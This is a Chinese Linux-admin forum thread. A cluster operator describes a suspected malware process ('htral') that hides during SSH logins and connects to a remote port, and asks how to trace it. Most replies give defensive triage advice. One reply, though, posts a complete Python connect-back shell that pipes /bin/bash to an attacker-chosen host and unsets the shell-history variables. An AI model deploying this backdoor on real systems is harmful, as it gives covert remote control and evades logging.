linux运维 - linux集群病毒清理
怪我咯
怪我咯 2017-04-17 13:34:36
[Linux讨论组]

本人管理者一个不小的linux集群。最近在个别节点上发现了一个名为htral的可疑进程。一直找不到彻底的办法解决,跪求大神支招!!

该进程的行为表现为:

  • 占用400%的CPU资源

  • 一旦有用户ssh登陆到节点,就会在延迟若干秒后自动消失

  • 登陆用户退出后,进程又会自动启动

利用ssh登陆到进程消失的短暂时间,我捕获到了进程的pid和打开的文件资源信息

ls -la /proc/$pid/结果:

lsof $pid输出结果:

现在了解到的情况如下:

  1. 有某一个进程一直在检测当前系统的登陆用户,发现无ssh登陆用户的时候,自动拷贝出文件,/usr/share/htral,执行文件,然后删除文件。

  2. htral进程会连接11.11.3.22节点的50220端口,传递数据。

  3. cat /proc/$pid/stat 看到该进程的父进程pid是1

我在11.11.3.22节点上使用netstat -anp | grep 50220命令检测不到任何输出,lsof -i :50220也没有任何结果(用screen登陆,循环执行一段时间后)。

求助SF上的linux大神们支招,找出这个恶意进程的根源!!!

ps: 我现在把进程的源文件拷贝出来了,但不知道怎么分析。

怪我咯
怪我咯

走同样的路,发现不同的人生

全部回复(4)
高洛峰

既然你诚心诚意低发问了,我就告诉你吧,不用ssh登录,也可以想其他办法获取一个shell啊。

以下免费赠送。

#!/usr/bin/python
import sys
import os
import socket
import pty

shell = "/bin/bash"

def usage(programname):
    print "python connect-back door"
    print "Usage: %s <conn_back_ip> <port>" % programname

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit(1)

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:
        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)

    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    pty.spawn(shell)
    s.close()

if __name__ == "__main__":
    main()
PHPz

看下我的方法可不可行:
建个screen
然后
ps aux|grep htral |while read line;do lsof -c htral >> /temp/htral.txt;sleep 30;done

PHPz

放虚拟机里,启动inotify,启动病毒,记录创建和修改的文件,一般会修改N个常用管理用命令,用包管理命令重新安装这些命令的包。

ringa_lee

这是什么情况

热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号